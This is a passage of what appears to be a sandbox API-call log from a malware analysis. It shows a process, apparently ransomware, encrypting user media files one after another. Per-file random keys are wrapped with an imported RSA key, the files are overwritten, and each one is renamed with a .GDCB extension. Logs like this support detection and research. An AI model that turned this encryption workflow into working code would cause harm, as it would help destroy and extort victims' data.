lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0136.252] WriteFile (in: hFile=0x4ec, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285f240*=0x10, lpOverlapped=0x0) returned 1 [0136.253] CloseHandle (hObject=0x4ec) returned 1 [0136.253] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.253] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.254] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.254] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\UFabmkAU-rJObGOdjy23.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\ufabmkau-rjobgodjy23.swf"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\UFabmkAU-rJObGOdjy23.swf.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\ufabmkau-rjobgodjy23.swf.gdcb")) returned 1 [0136.255] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecfd0) returned 1 [0136.255] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.255] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.255] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0136.255] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0136.256] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0136.256] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.256] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.256] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0136.256] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.256] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0136.258] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x308fc8) returned 1 [0136.258] CryptGetKeyParam (in: hKey=0x308fc8, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0136.258] CryptEncrypt (in: hKey=0x308fc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0136.258] GetLastError () returned 0x0 [0136.258] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.258] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ed300) returned 1 [0136.260] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x309048) returned 1 [0136.260] CryptGetKeyParam (in: hKey=0x309048, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0136.260] CryptEncrypt (in: hKey=0x309048, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0136.260] GetLastError () returned 0x0 [0136.260] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0136.260] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\XDfXtYW.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\xdfxtyw.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0136.261] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0136.261] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0136.262] ReadFile (in: hFile=0x4ec, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f248*=0x17024, lpOverlapped=0x0) returned 1 [0136.271] VirtualAlloc (lpAddress=0x0, dwSize=0x17030, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0136.272] VirtualAlloc (lpAddress=0x0, dwSize=0x17030, flAllocationType=0x3000, flProtect=0x4) returned 0x29d0000 [0136.274] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.275] SetFilePointer (in: hFile=0x4ec, lDistanceToMove=-94244, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0136.275] WriteFile (in: hFile=0x4ec, lpBuffer=0x29d0000*, nNumberOfBytesToWrite=0x17030, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x29d0000*, lpNumberOfBytesWritten=0x285f240*=0x17030, lpOverlapped=0x0) returned 1 [0136.275] VirtualFree (lpAddress=0x29d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.275] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.278] WriteFile (in: hFile=0x4ec, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0136.278] WriteFile (in: hFile=0x4ec, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0136.278] WriteFile (in: hFile=0x4ec, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285f240*=0x10, lpOverlapped=0x0) returned 1 [0136.278] CloseHandle (hObject=0x4ec) returned 1 [0136.280] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.280] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.280] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.280] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\XDfXtYW.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\xdfxtyw.m4a"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\XDfXtYW.m4a.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\xdfxtyw.m4a.gdcb")) returned 1 [0136.288] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecfd0) returned 1 [0136.288] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.288] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.288] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0136.289] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0136.289] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0136.289] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.289] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.289] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0136.289] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.289] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ed300) returned 1 [0136.291] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x3092c8) returned 1 [0136.291] CryptGetKeyParam (in: hKey=0x3092c8, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0136.291] CryptEncrypt (in: hKey=0x3092c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0136.292] GetLastError () returned 0x0 [0136.292] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0136.292] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0136.294] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x3091c8) returned 1 [0136.294] CryptGetKeyParam (in: hKey=0x3091c8, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0136.294] CryptEncrypt (in: hKey=0x3091c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0136.294] GetLastError () returned 0x0 [0136.294] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.294] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\xX9L.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\xx9l.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0136.294] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0136.295] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0136.295] ReadFile (in: hFile=0x4ec, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f248*=0x126f0, lpOverlapped=0x0) returned 1 [0136.305] VirtualAlloc (lpAddress=0x0, dwSize=0x126f0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0136.306] VirtualAlloc (lpAddress=0x0, dwSize=0x126f0, flAllocationType=0x3000, flProtect=0x4) returned 0x29d0000 [0136.307] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.308] SetFilePointer (in: hFile=0x4ec, lDistanceToMove=-75504, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0136.308] WriteFile (in: hFile=0x4ec, lpBuffer=0x29d0000*, nNumberOfBytesToWrite=0x126f0, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x29d0000*, lpNumberOfBytesWritten=0x285f240*=0x126f0, lpOverlapped=0x0) returned 1 [0136.309] VirtualFree (lpAddress=0x29d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.309] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.311] WriteFile (in: hFile=0x4ec, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0136.312] WriteFile (in: hFile=0x4ec, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0136.312] WriteFile (in: hFile=0x4ec, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285f240*=0x10, lpOverlapped=0x0) returned 1 [0136.312] CloseHandle (hObject=0x4ec) returned 1 [0136.313] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.313] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.313] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.313] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\xX9L.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\xx9l.avi"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\xX9L.avi.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\xx9l.avi.gdcb")) returned 1 [0136.315] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0136.316] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.316] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.316] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0136.316] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.316] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecfd0) returned 1 [0136.317] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.317] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.317] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0136.317] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0136.317] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecca0) returned 1 [0136.319] CryptImportKey (in: hProv=0x2ecca0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x309208) returned 1 [0136.319] CryptGetKeyParam (in: hKey=0x309208, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0136.319] CryptEncrypt (in: hKey=0x309208, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0136.319] GetLastError () returned 0x0 [0136.319] CryptReleaseContext (hProv=0x2ecca0, dwFlags=0x0) returned 1 [0136.319] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0136.320] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x309288) returned 1 [0136.321] CryptGetKeyParam (in: hKey=0x309288, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0136.321] CryptEncrypt (in: hKey=0x309288, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0136.321] GetLastError () returned 0x0 [0136.321] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.321] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\X_3ykeU9F6OZxw.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\x_3ykeu9f6ozxw.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0136.321] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0136.321] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0136.321] ReadFile (in: hFile=0x4ec, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f248*=0xfdf, lpOverlapped=0x0) returned 1 [0136.331] VirtualAlloc (lpAddress=0x0, dwSize=0xfe0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0136.331] VirtualAlloc (lpAddress=0x0, dwSize=0xfe0, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0136.332] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.332] SetFilePointer (in: hFile=0x4ec, lDistanceToMove=-4063, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0136.332] WriteFile (in: hFile=0x4ec, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0xfe0, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285f240*=0xfe0, lpOverlapped=0x0) returned 1 [0136.332] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.332] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.335] WriteFile (in: hFile=0x4ec, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0136.335] WriteFile (in: hFile=0x4ec, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0136.335] WriteFile (in: hFile=0x4ec, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285f240*=0x10, lpOverlapped=0x0) returned 1 [0136.335] CloseHandle (hObject=0x4ec) returned 1 [0136.336] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.336] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.337] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.337] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\X_3ykeU9F6OZxw.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\x_3ykeu9f6ozxw.swf"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\X_3ykeU9F6OZxw.swf.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\x_3ykeu9f6ozxw.swf.gdcb")) returned 1 [0136.338] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecca0) returned 1 [0136.339] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.339] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.339] CryptGenRandom (in: hProv=0x2ecca0, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0136.339] CryptReleaseContext (hProv=0x2ecca0, dwFlags=0x0) returned 1 [0136.339] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0136.339] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.340] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.340] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0136.340] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.340] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0136.342] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x309308) returned 1 [0136.342] CryptGetKeyParam (in: hKey=0x309308, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0136.342] CryptEncrypt (in: hKey=0x309308, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0136.342] GetLastError () returned 0x0 [0136.342] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.342] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0136.344] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x309348) returned 1 [0136.344] CryptGetKeyParam (in: hKey=0x309348, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0136.344] CryptEncrypt (in: hKey=0x309348, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0136.344] GetLastError () returned 0x0 [0136.344] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.344] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\yzRhhBR e0eN.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\yzrhhbr e0en.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0136.344] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0136.344] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0136.344] ReadFile (in: hFile=0x4ec, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f248*=0x58c9, lpOverlapped=0x0) returned 1 [0136.353] VirtualAlloc (lpAddress=0x0, dwSize=0x58d0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0136.354] VirtualAlloc (lpAddress=0x0, dwSize=0x58d0, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0136.355] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.355] SetFilePointer (in: hFile=0x4ec, lDistanceToMove=-22729, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0136.355] WriteFile (in: hFile=0x4ec, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0x58d0, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285f240*=0x58d0, lpOverlapped=0x0) returned 1 [0136.355] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.355] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.358] WriteFile (in: hFile=0x4ec, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0136.358] WriteFile (in: hFile=0x4ec, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0136.358] WriteFile (in: hFile=0x4ec, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285f240*=0x10, lpOverlapped=0x0) returned 1 [0136.358] CloseHandle (hObject=0x4ec) returned 1 [0136.359] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.359] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.359] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.359] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\yzRhhBR e0eN.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\yzrhhbr e0en.wav"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\yzRhhBR e0eN.wav.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\yzrhhbr e0en.wav.gdcb")) returned 1 [0136.360] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, 